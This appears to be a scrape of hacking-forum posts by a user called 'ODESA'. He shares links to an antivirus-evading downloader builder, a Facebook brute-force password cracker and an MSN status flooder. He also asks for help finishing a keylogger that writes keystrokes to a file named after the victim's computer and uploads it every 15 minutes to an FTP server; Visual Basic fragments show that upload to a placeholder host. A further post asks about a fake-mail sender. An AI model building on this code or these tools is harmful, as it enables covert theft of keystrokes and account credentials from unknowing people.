Temas

[Hi my friends,I coded an downloader builder with stub.I tried another way for downloading file, I used inet.Because AV's can't understand its a downloader.I hope you like it.Thx all of elhacker.net users http://www.rapidshare.de/files/40957352/OdesaDownloader.zip.html]

Hi my friends,
I coded an downloader builder with stub.
I tried another way for downloading file, I used inet.Because AV's can't understand its a downloader.I hope you like it.Thx all of elhacker.net users


http://www.rapidshare.de/files/40957352/OdesaDownloader.zip.html

Thx

[Hi Guys,This code is like a winsock tutorial, it explains how to send files to any ip using winsock.I've assumed that the reader knows only the basics of winsock...so i've explained in it.Reference Page:http://pscode.com/vb/scripts/ShowCode.asp?txtCodeId=70859&lngWId=1FOR DOWNLOAD]

Hi Guys,
This code is like a winsock tutorial, it explains how to send files to any ip using winsock.I've assumed that the reader knows only the basics of winsock...so i've explained in it.


Reference Page:
http://pscode.com/vb/scripts/ShowCode.asp?txtCodeId=70859&lngWId=1


FOR DOWNLOAD
http://rapidshare.de/files/40802390/Filetransfer.rar.html

Thx

Hi friends,
My question is that:
I have two source code.And I try to make one program.

Firs source code name is:stub
Second source code name is: Builder

Stub has a text box on form.
Builder has a textbox and a command buton on form.

I get it stub.exe into builder.exe and I wanna make when Builder make a new exe file,  on builder's text box write to stub's text.box!

Example Picture:


How can I make it on vb?
What is example code, please help me!

[Odesa MD5 maker is a md5 generator... Encrypts the string before hashing it... *NOTE.. This generator wont generate pure MD5 hashes.It uses modules and class modules*]

Odesa MD5 maker is a md5 generator... Encrypts the string before hashing it... *NOTE.. This generator wont generate pure MD5 hashes.It uses modules and class modules*
SOURCE CODE:
http://rapidshare.com/files/157538333/OdesaMd5Maker.rar.html


Reference Page:
http://pscode.com/vb/scripts/ShowCode.asp?txtCodeId=70826&lngWId=1

[Hi guys,I wrote an facebook cracker, it using brute force and worldlist way.The source code made by vb6.Now I share with you.I hope you like it.Image:Meet:'***************************************************' ODESA FACEBOOK CRACKER' BRUTE FORCE & WORLDIST' CODED BY: ALPER ESKIKILIC' odysseydhtbluefire@hotmail.com' Special Thanks To All World Hackers' COME TO TURKIYE FOR HOLIDAY:)'*************************************************** OPEN SOURCE - FOR GROWING TECHNOLOGIES'***************************************************' Special Thanks:'foro.elhacker.net'opensc.ws'***************************************************SOURCE CODE DOWNLOAD:http://rapidshare.com/files/156499419/Facebookcrack.rar.html]

Hi guys,
I wrote an facebook cracker, it using brute force and worldlist way.
The source code made by vb6.
Now I share with you.I hope you like it.
Image:

Meet:
'***************************************************
'  ODESA FACEBOOK CRACKER
'  BRUTE FORCE & WORLDIST
'  CODED BY: ALPER ESKIKILIC
'  odysseydhtbluefire@hotmail.com
'  Special Thanks To All World Hackers
'  COME TO TURKIYE FOR HOLIDAY:)
'***************************************************
OPEN SOURCE - FOR GROWING TECHNOLOGIES
'***************************************************
' Special Thanks:
'foro.elhacker.net
'opensc.ws
'***************************************************

SOURCE CODE DOWNLOAD:
http://rapidshare.com/files/156499419/Facebookcrack.rar.html

Hi guys
I have a problem, when I make this I took permission denied error.
I supposed , I can't set of timers intervals.
Please help me , try this code on your vb.
We should make this working thanks, why I get error?
The Timers intervalls must have=?????? sec.
I need your help.

Private Sub Form_Load()
Timer5.Enabled = True
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send d:\" & Date$ & "on.txt " & Date$ & "on.txt"
'Inet1.Execute Inet1.URL, "Send d:\" & Dosyaadi & " " & Dosyaadi
Timer6.Enabled = True
End Sub

Private Sub Timer2_Timer()
'With Inet1
Inet1.Protocol = icFTP
Inet1.URL = "ftp://adress.com"
Inet1.Password = "pass"
Inet1.username = "username"
'Inet1.RequestTimeout = 40
'Timer3.Enabled = False
'Timer1.Enabled = True
End Sub

Private Sub Timer3_Timer()

'Dim Dosyaadi As String
'Dim fullyol As String
'Dosyaadi = Environ("Computername") & ".log"
'fullyol = App.Path & "\" & Dosyaadi
'Open Dosyaadi For Append As #1
Open Date$ & "on.txt " For Append As #1
Print #1, Text1.Text
Close #1
Timer4.Enabled = True
'Timer1.Enabled = False

End Sub

Private Sub Timer4_Timer()

Timer3.Enabled = False
Timer1.Enabled = True
End Sub

Private Sub Timer5_Timer()
Timer2.Enabled = True
Timer3.Enabled = True
Timer1.Enabled = False

End Sub

Private Sub Timer6_Timer()
Timer1.Enabled = False
Timer5.Enabled = True
End Sub

[Odesa Msn Status Flooder - Open Source-------------------Coded By: ODESAodysseydhtbluefire@hotmail.com-------------------For Using Msn Api's-------------------------------------What is it make?This code make: changing your msn status to visible and invisible fastest.So Everybody see your Msn online message windows nonstopFor Understanding Look The Flood.Pngs.THX:All World Hackers - We Are The Different From Others!SOURCE CODE:http://rapidshare.com/files/156295125/statusflooder.rar.html]

Odesa Msn Status Flooder - Open Source
-------------------
Coded By: ODESA
odysseydhtbluefire@hotmail.com
-------------------
For Using Msn Api's

-------------------------------------

What is it make?

This code make: changing your msn status to visible and invisible fastest.
So Everybody see your Msn online message windows nonstop

For Understanding Look The Flood.Png

s.THX:
All World Hackers - We Are The Different From Others!

SOURCE CODE:
http://rapidshare.com/files/156295125/statusflooder.rar.html

Hola amigos
Hago una bitácora, quiero subir un archivo de registro (con el nombre del equipo) a mi ftp Me escribió un código, pero tomé un error.Mi programa puede crear archivo de registro con el ordenador name.But I No se puede cargar este archivo de registro a mi ftp con el nombre de mi equipo
error es: Runtype Miss match

código:
Private Sub Timer3_Timer()
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

¿Dónde está mal?

Thx for help

Hi friends,
I have a question about using inet and senkeys.
Program makes when pressing a,l,p,e,r letters on keyboard,
the program should save this letters on a txt file.and every 15 minutes it should upload this txt files to my ftp.
(note: txt files name is must be computer name for example. cafeplus.txt)
So I need your help my friends If you help me I wanna become very happy.
I try to make something (at down you see)  but code has a lot of missings.
Please help me its my homework.
Thanks

Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long

Private Sub form_load()
Inet1.URL = "ftp://adress.com"
Inet1.RemoteHost = "ftp://adress.com"
Inet1.Protocol = icFTP
Inet1.Password = "******"
Inet1.UserName = "******"
Inet1.RequestTimeout = 40
Timer1.Enabled = True
End Sub


Private Sub Timer1_Timer()
Inet1.Execute , "SEND C:\Computername.txt Computername.txt" & vbCrLf
End Sub

[Private Sub Command1_Click()wb.Document.Forms(0).elements(0).Value = Text1.Text wb.Document.Forms(0).elements(1).Value = Text2.Textwb.Document.Forms(0).elements(2).Value = Text3.Textwb.Document.Forms(0).elements(3).Value = Text4.Textwb.Document.Forms(0).elements(4).Value = Text5.Textwb.Document.Forms(0).elements(5).Value = Text6.Text wb.Document.Forms(0).elements(6).ClickEnd SubPrivate Sub Form_Load()wb.Navigate "http://www.fakemailer.info"]

Hi guys,
How are you?I cant speak spanish so I must be write in english.I am sorry for this.
I have a question about using webforms in Vb and I supposed you can answer to me easily.
A few days ago I try to make an anounymous mail sender  program in vb.But I couldn't make it.
I try to use this adress:
http://www.fakemailer.info
-------------------------------
'and I use this codes:

Private Sub Command1_Click()
wb.Document.Forms(0).elements(0).Value = Text1.Text
wb.Document.Forms(0).elements(1).Value = Text2.Text
wb.Document.Forms(0).elements(2).Value = Text3.Text
wb.Document.Forms(0).elements(3).Value = Text4.Text
wb.Document.Forms(0).elements(4).Value = Text5.Text
wb.Document.Forms(0).elements(5).Value = Text6.Text
wb.Document.Forms(0).elements(6).Click
End Sub

Private Sub Form_Load()
wb.Navigate "http://www.fakemailer.info"

---------------------------------------------------------------------------------

But it didn't work, and then I tried other ways."All.item",Document.Form1 as.
But I Couldn't.
Is anybody helpme about this?

I cant use inet, if you make an working example I will became very happy.
Thanks for your help.

                                                                       Best Regards
                                                                        ODESA